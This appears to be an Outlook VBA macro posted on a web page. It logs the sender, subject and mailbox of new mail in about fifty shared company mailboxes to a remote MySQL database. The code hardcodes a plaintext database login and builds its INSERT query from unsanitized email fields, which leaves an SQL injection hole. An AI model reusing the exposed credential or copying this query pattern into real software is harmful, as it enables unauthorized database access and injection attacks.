        Set Monitor49 = Application.GetNamespace("MAPI").Folders("acostacstonefax@acosta.com").Folders("Inbox")
        Set Monitor50 = Application.GetNamespace("MAPI").Folders("QualityFS@acosta.com").Folders("Inbox")
        Set Monitor51 = Application.GetNamespace("MAPI").Folders("BillbacksFSNE@acosta.com").Folders("Inbox")
        
       
        Set Received1 = Monitor1.Items
        Set Received2 = Monitor2.Items
        Set Received3 = Monitor3.Items
        Set Received4 = Monitor4.Items
        Set Received5 = Monitor5.Items
        Set Received6 = Monitor6.Items
        Set Received7 = Monitor7.Items
        Set Received8 = Monitor8.Items
        Set Received9 = Monitor9.Items
        Set Received10 = Monitor10.Items
        Set Received11 = Monitor11.Items
        Set Received12 = Monitor12.Items
        Set Received13 = Monitor13.Items
        Set Received14 = Monitor14.Items
        Set Received15 = Monitor15.Items
        Set Received16 = Monitor16.Items
        Set Received17 = Monitor17.Items
        Set Received18 = Monitor18.Items
        Set Received19 = Monitor19.Items
        Set Received20 = Monitor20.Items
        Set Received21 = Monitor21.Items
        Set Received22 = Monitor22.Items
        Set Received23 = Monitor23.Items
        Set Received24 = Monitor24.Items
        Set Received25 = Monitor25.Items
        Set Received26 = Monitor26.Items
        Set Received27 = Monitor27.Items
        Set Received28 = Monitor28.Items
        Set Received29 = Monitor29.Items
        Set Received30 = Monitor30.Items
        Set Received31 = Monitor31.Items
        Set Received32 = Monitor32.Items
        Set Received33 = Monitor33.Items
        Set Received34 = Monitor34.Items
        Set Received35 = Monitor35.Items
        Set Received36 = Monitor36.Items
        Set Received37 = Monitor37.Items
        Set Received38 = Monitor38.Items
        Set Received39 = Monitor39.Items
        Set Received40 = Monitor40.Items
        Set Received41 = Monitor41.Items
        Set Received42 = Monitor42.Items
        Set Received43 = Monitor43.Items
        Set Received44 = Monitor44.Items
        Set Received45 = Monitor45.Items
        'Set Received46 = Monitor46.Items
        Set Received47 = Monitor47.Items
        Set Received48 = Monitor48.Items
        Set Received49 = Monitor49.Items
        Set Received50 = Monitor50.Items
        Set Received51 = Monitor51.Items
   End Sub

'----------------------------------
Private Sub Received1_ItemAdd(ByVal Item As Object)
   ' Dim Sender As String
   ' Sender = Item.SenderEmailAddress
   ' Dim Subject As String
   ' Subject = Item.Subject
   ' Subject = Replace(Subject, "\'", "")
   ' Subject = Replace(Subject, "'", "")

    'MsgBox "New mail from " & Item.SenderName & " in " & Monitor1.Parent.Name
    'Call ProcessItem2(Item.Subject, Item.SenderEmailAddress, "dvdeocampo@outlook.com")
End Sub
 
'----------------------------------
 Private Sub Received2_ItemAdd(ByVal Item As Object)
    On Error Resume Next
    Call ProcessItem2(Item.Subject, Item.SenderEmailAddress, "BillBacksFSSE@acosta.com")
 End Sub
 
 Private Sub Received3_ItemAdd(ByVal Item As Object)
    On Error Resume Next
    Call ProcessItem2(Item.Subject, Item.SenderEmailAddress, "FSSampleBillBacks@acosta.com")
 End Sub
 
 Private Sub Received4_ItemAdd(ByVal Item As Object)
    On Error Resume Next
    Call ProcessItem2(Item.Subject, Item.SenderEmailAddress, "BillBacks_Midwest_FS@acosta.com")
 End Sub
 
 Private Sub Received5_ItemAdd(ByVal Item As Object)
    On Error Resume Next
    Call ProcessItem2(Item.Subject, Item.SenderEmailAddress, "BillBacksFSWest@acosta.com")
 End Sub
 
 Private Sub Received6_ItemAdd(ByVal Item As Object)
    On Error Resume Next
    Call ProcessItem2(Item.Subject, Item.SenderEmailAddress, "BillBacksFSCentral@acosta.com")
 End Sub

 Private Sub Received7_ItemAdd(ByVal Item As Object)
    On Error Resume Next
     Call ProcessItem2(Item.Subject, Item.SenderEmailAddress, "FSCommWest@acosta.com")
 End Sub

 Private Sub Received8_ItemAdd(ByVal Item As Object)
    On Error Resume Next
    Call ProcessItem2(Item.Subject, Item.SenderEmailAddress, "FSCommEast@acosta.com")
 End Sub
 
 Private Sub Received9_ItemAdd(ByVal Item As Object)
    On Error Resume Next
    Call ProcessItem2(Item.Subject, Item.SenderEmailAddress, "AcostaFSFaxWest@acosta.com")
 End Sub

 Private Sub Received10_ItemAdd(ByVal Item As Object)
    On Error Resume Next
    Call ProcessItem2(Item.Subject, Item.SenderEmailAddress, "AcostaFSFaxCentral@acosta.com")
 End Sub
 
 Private Sub Received11_ItemAdd(ByVal Item As Object)
    On Error Resume Next
    Call ProcessItem2(Item.Subject, Item.SenderEmailAddress, "AcostaFSFax@acosta.com")
 End Sub

 Private Sub Received12_ItemAdd(ByVal Item As Object)
    On Error Resume Next
    Call ProcessItem2(Item.Subject, Item.SenderEmailAddress, "AcostaFSFaxMW@acosta.com")
 End Sub

 Private Sub Received13_ItemAdd(ByVal Item As Object)
    On Error Resume Next
    Call ProcessItem2(Item.Subject, Item.SenderEmailAddress, "AcostaFSFaxNE@acosta.com")
 End Sub
 
 Private Sub Received14_ItemAdd(ByVal Item As Object)
    On Error Resume Next
    Call ProcessItem2(Item.Subject, Item.SenderEmailAddress, "AcostaFSFaxSE@acosta.com")
 End Sub
 
 Private Sub Received15_ItemAdd(ByVal Item As Object)
    On Error Resume Next
    Call ProcessItem2(Item.Subject, Item.SenderEmailAddress, "DeductionsFS@acosta.com")
 End Sub
'----------------------------------
 Private Sub Received16_ItemAdd(ByVal Item As Object)
    On Error Resume Next
     Call ProcessItem2(Item.Subject, Item.SenderEmailAddress, "PricingFS@acosta.com")
 End Sub

 Private Sub Received17_ItemAdd(ByVal Item As Object)
    On Error Resume Next
     Call ProcessItem2(Item.Subject, Item.SenderEmailAddress, "OrdersSE@acosta.com")
 End Sub

 Private Sub Received18_ItemAdd(ByVal Item As Object)
    On Error Resume Next
     Call ProcessItem2(Item.Subject, Item.SenderEmailAddress, "OrdersNE@acosta.com")
 End Sub

 Private Sub Received19_ItemAdd(ByVal Item As Object)
    On Error Resume Next
     Call ProcessItem2(Item.Subject, Item.SenderEmailAddress, "OrdersFSWest@acosta.com")
 End Sub

 Private Sub Received20_ItemAdd(ByVal Item As Object)
    On Error Resume Next
     Call ProcessItem2(Item.Subject, Item.SenderEmailAddress, "OrdersFSMW@acosta.com")
 End Sub

 Private Sub Received21_ItemAdd(ByVal Item As Object)
    On Error Resume Next
     Call ProcessItem2(Item.Subject, Item.SenderEmailAddress, "OrdersFSCentral@acosta.com")
 End Sub
  
  Private Sub Received22_ItemAdd(ByVal Item As Object)
    On Error Resume Next
     Call ProcessItem2(Item.Subject, Item.SenderEmailAddress, "samplesFL@acosta.com")
 End Sub

 Private Sub Received23_ItemAdd(ByVal Item As Object)
    On Error Resume Next
     Call ProcessItem2(Item.Subject, Item.SenderEmailAddress, "samplesMW@acosta.com")
 End Sub

 Private Sub Received24_ItemAdd(ByVal Item As Object)
    On Error Resume Next
     Call ProcessItem2(Item.Subject, Item.SenderEmailAddress, "samplesWest@acosta.com")
 End Sub
  
  Private Sub Received25_ItemAdd(ByVal Item As Object)
    On Error Resume Next
     Call ProcessItem2(Item.Subject, Item.SenderEmailAddress, "samplesNE@acosta.com")
 End Sub
 
  Private Sub Received26_ItemAdd(ByVal Item As Object)
    On Error Resume Next
     Call ProcessItem2(Item.Subject, Item.SenderEmailAddress, "samplesSE@acosta.com")
 End Sub

 Private Sub Received27_ItemAdd(ByVal Item As Object)
    On Error Resume Next
     Call ProcessItem2(Item.Subject, Item.SenderEmailAddress, "samplesCentral@acosta.com")
 End Sub

 Private Sub Received28_ItemAdd(ByVal Item As Object)
    On Error Resume Next
     Call ProcessItem2(Item.Subject, Item.SenderEmailAddress, "ClientBillingCentral@acosta.com")
 End Sub
 
  Private Sub Received29_ItemAdd(ByVal Item As Object)
    On Error Resume Next
     Call ProcessItem2(Item.Subject, Item.SenderEmailAddress, "ClientBillingMW@acosta.com")
 End Sub
 
  Private Sub Received30_ItemAdd(ByVal Item As Object)
    On Error Resume Next
     Call ProcessItem2(Item.Subject, Item.SenderEmailAddress, "ClientBillingNE@acosta.com")
 End Sub
 
  
  Private Sub Received31_ItemAdd(ByVal Item As Object)
    On Error Resume Next
     Call ProcessItem2(Item.Subject, Item.SenderEmailAddress, "ClientBillingSE@acosta.com")
 End Sub
 
  Private Sub Received32_ItemAdd(ByVal Item As Object)
    On Error Resume Next
     Call ProcessItem2(Item.Subject, Item.SenderEmailAddress, "ClientBillingWest@acosta.com")
 End Sub

 Private Sub Received33_ItemAdd(ByVal Item As Object)
    On Error Resume Next
     Call ProcessItem2(Item.Subject, Item.SenderEmailAddress, "ProgramsFSSE@acosta.com")
 End Sub
  
  Private Sub Received34_ItemAdd(ByVal Item As Object)
    On Error Resume Next
     Call ProcessItem2(Item.Subject, Item.SenderEmailAddress, "ProgramsFSNE@acosta.com")
 End Sub

 Private Sub Received35_ItemAdd(ByVal Item As Object)
    On Error Resume Next
     Call ProcessItem2(Item.Subject, Item.SenderEmailAddress, "ProgramsFSMidWest@acosta.com")
 End Sub
 
  Private Sub Received36_ItemAdd(ByVal Item As Object)
    On Error Resume Next
     Call ProcessItem2(Item.Subject, Item.SenderEmailAddress, "ProgramsFSCentral@acosta.com")
 End Sub

 Private Sub Received37_ItemAdd(ByVal Item As Object)
    On Error Resume Next
     Call ProcessItem2(Item.Subject, Item.SenderEmailAddress, "ProgramsFSWest@acosta.com")
 End Sub
 
 Private Sub Received38_ItemAdd(ByVal Item As Object)
    On Error Resume Next
     Call ProcessItem2(Item.Subject, Item.SenderEmailAddress, "BidsSE@acosta.com")
 End Sub
 
 Private Sub Received39_ItemAdd(ByVal Item As Object)
    On Error Resume Next
     Call ProcessItem2(Item.Subject, Item.SenderEmailAddress, "CornerStoneSamples@acosta.com")
 End Sub
 
Private Sub Received40_ItemAdd(ByVal Item As Object)
    On Error Resume Next
     Call ProcessItem2(Item.Subject, Item.SenderEmailAddress, "FoodServiceCommunications@acosta.com")
 End Sub
 
 Private Sub Received41_ItemAdd(ByVal Item As Object)
    On Error Resume Next
     Call ProcessItem2(Item.Subject, Item.SenderEmailAddress, "CornerStoneOPS@acosta.com")
 End Sub
 

 Private Sub Received42_ItemAdd(ByVal Item As Object)
    On Error Resume Next
     Call ProcessItem2(Item.Subject, Item.SenderEmailAddress, "CornerStoneSales@acosta.com")
 End Sub
 
 Private Sub Received43_ItemAdd(ByVal Item As Object)
    On Error Resume Next
     Call ProcessItem2(Item.Subject, Item.SenderEmailAddress, "CornerStoneBids@acosta.com")
 End Sub
 
Private Sub Received44_ItemAdd(ByVal Item As Object)
    On Error Resume Next
     Call ProcessItem2(Item.Subject, Item.SenderEmailAddress, "CornerStoneLC@acosta.com")
 End Sub
 
 Private Sub Received45_ItemAdd(ByVal Item As Object)
    On Error Resume Next
     Call ProcessItem2(Item.Subject, Item.SenderEmailAddress, "CornerStoneSamples@acosta.com")
 End Sub
 
 Private Sub Received46_ItemAdd(ByVal Item As Object)
    On Error Resume Next
     Call ProcessItem2(Item.Subject, Item.SenderEmailAddress, "CornerStoneCS@acosta.com")
 End Sub
 
  Private Sub Received47_ItemAdd(ByVal Item As Object)
    On Error Resume Next
     Call ProcessItem2(Item.Subject, Item.SenderEmailAddress, "DocLibrary@acosta.com")
 End Sub
 
   Private Sub Received48_ItemAdd(ByVal Item As Object)
    On Error Resume Next
     Call ProcessItem2(Item.Subject, Item.SenderEmailAddress, "FSMDM@acosta.com")
 End Sub
 
 Private Sub Received49_ItemAdd(ByVal Item As Object)
    On Error Resume Next
     Call ProcessItem2(Item.Subject, Item.SenderEmailAddress, "acostacstonefax@acosta.com")
 End Sub
 
 Private Sub Received50_ItemAdd(ByVal Item As Object)
    On Error Resume Next
      Call ProcessItem2(Item.Subject, Item.SenderEmailAddress, "QualityFS@acosta.com")
 End Sub
 
 Private Sub Received51_ItemAdd(ByVal Item As Object)
    On Error Resume Next
      Call ProcessItem2(Item.Subject, Item.SenderEmailAddress, "BillbacksFSNE@acosta.com")
 End Sub
 
 
  
Private Sub Application_Quit()
   'Perform Clean Up
   Set Monitor1 = Nothing
   Set Monitor2 = Nothing
   Set Monitor3 = Nothing
   Set Monitor4 = Nothing
   Set Monitor5 = Nothing
   Set Monitor6 = Nothing
   Set Monitor7 = Nothing
   Set Monitor8 = Nothing
   Set Monitor9 = Nothing
   Set Monitor10 = Nothing
   Set Monitor11 = Nothing
   Set Monitor12 = Nothing
   Set Monitor13 = Nothing
   Set Monitor14 = Nothing
   Set Monitor15 = Nothing
   Set Monitor16 = Nothing
   Set Monitor17 = Nothing
   Set Monitor18 = Nothing
   Set Monitor19 = Nothing
   Set Monitor20 = Nothing
   Set Monitor21 = Nothing
   Set Monitor22 = Nothing
   Set Monitor23 = Nothing
   Set Monitor24 = Nothing
   Set Monitor25 = Nothing
   Set Monitor26 = Nothing
   Set Monitor27 = Nothing
   Set Monitor28 = Nothing
   Set Monitor29 = Nothing
   Set Monitor30 = Nothing
   Set Monitor31 = Nothing
   Set Monitor32 = Nothing
   Set Monitor33 = Nothing
   Set Monitor34 = Nothing
   Set Monitor35 = Nothing
   Set Monitor36 = Nothing
   Set Monitor37 = Nothing
   Set Monitor38 = Nothing
   Set Monitor39 = Nothing
   Set Monitor40 = Nothing
   Set Monitor41 = Nothing
   Set Monitor42 = Nothing
   Set Monitor43 = Nothing
   Set Monitor44 = Nothing
   Set Monitor45 = Nothing
   'Set Monitor46 = Nothing
   Set Monitor47 = Nothing
   Set Monitor48 = Nothing
   Set Monitor49 = Nothing
   Set Monitor50 = Nothing
   Set Monitor51 = Nothing
   
      
   Set Received1 = Nothing
   Set Received2 = Nothing
   Set Received3 = Nothing
   Set Received4 = Nothing
   Set Received5 = Nothing
   Set Received6 = Nothing
   Set Received7 = Nothing
   Set Received8 = Nothing
   Set Received9 = Nothing
   Set Received10 = Nothing
   Set Received11 = Nothing
   Set Received12 = Nothing
   Set Received13 = Nothing
   Set Received14 = Nothing
   Set Received15 = Nothing
   Set Received16 = Nothing
   Set Received17 = Nothing
   Set Received18 = Nothing
   Set Received19 = Nothing
   Set Received20 = Nothing
   Set Received21 = Nothing
   Set Received22 = Nothing
   Set Received23 = Nothing
   Set Received24 = Nothing
   Set Received25 = Nothing
   Set Received26 = Nothing
   Set Received27 = Nothing
   Set Received28 = Nothing
   Set Received29 = Nothing
   Set Received30 = Nothing
   Set Received31 = Nothing
   Set Received32 = Nothing
   Set Received33 = Nothing
   Set Received34 = Nothing
   Set Received35 = Nothing
   Set Received36 = Nothing
   Set Received37 = Nothing
   Set Received38 = Nothing
   Set Received39 = Nothing
   Set Received40 = Nothing
   Set Received41 = Nothing
   Set Received42 = Nothing
   Set Received43 = Nothing
   Set Received44 = Nothing
   Set Received45 = Nothing
   'Set Received46 = Nothing
   Set Received47 = Nothing
   Set Received48 = Nothing
   Set Received49 = Nothing
   Set Received50 = Nothing
   Set Received51 = Nothing
End Sub
 

Private Sub ProcessItem2(eSubject As String, FromEmail As String, ToEmail As String)
        On Error Resume Next
        Dim conn As ADODB.Connection
        Dim rs As ADODB.Recordset
        Dim sqlstr As String

        Dim server_name As String
        Dim database_name As String
        Dim user_id As String
        Dim Password As String
        Dim mailbox As String
        Dim dateTime As String
        

        eSubject = Replace(eSubject, "\'", "")
        eSubject = Replace(eSubject, "'", "")

        '----------------------------------------------------------------------
        ' Establish connection to the database
        server_name = "www.ouritsource.com"
        database_name = "ourit_fito"
        user_id = "ourit_fito"
        Password = "afmit1954!!!"

        Set conn = New ADODB.Connection
        conn.Open "DRIVER={MySQL ODBC 8.0 ANSI Driver}" _
        & ";SERVER=" & server_name _
        & ";DATABASE=" & database_name _
        & ";UID=" & user_id _
        & ";PWD=" & Password _
        & ";OPTION=16427" ' Option 16427 = Convert LongLong to Int: This just helps makes sure that large numeric results get properly interpreted

        '---------------------------------------------
        ' Extract MySQL table data to first worksheet in the workbook
        dateTime = Year(Date) & "-" & Month(Date) & "-" & Day(Date) & " " & Hour(Time) & ":" & Minute(Time) & ":" & Second(Time)
       
        Set rs = New ADODB.Recordset
        sqlstr = "insert into emailHistory (transdate,toField,fromField,subject) values ('" & dateTime & "','" + ToEmail + "','" + FromEmail + "','" + eSubject + "')"
        rs.Open sqlstr, conn, adOpenStatic

        '-----------------------------------------------------------------------
        ' Close connections
         rs.Close
         conn.Close
         Set conn = Nothing
         Set rs = Nothing
         
         'Log
            Const ForAppending = 8
            Dim strLogFile, strDate, objFSO, objLogFile
            strDate = Date
            strLogFile = "c:\Logs\" & Year(strDate) & Month(strDate) & Day(strDate) & ".log"

            Set objFSO = CreateObject("Scripting.FileSystemObject")
            Set objLogFile = objFSO.OpenTextFile(strLogFile, ForAppending, True)


            objLogFile.WriteLine sqlstr & ";"
            objLogFile.Close

         
        
End Sub


Leave a Reply

Your email address will not be published. Required fields are marked *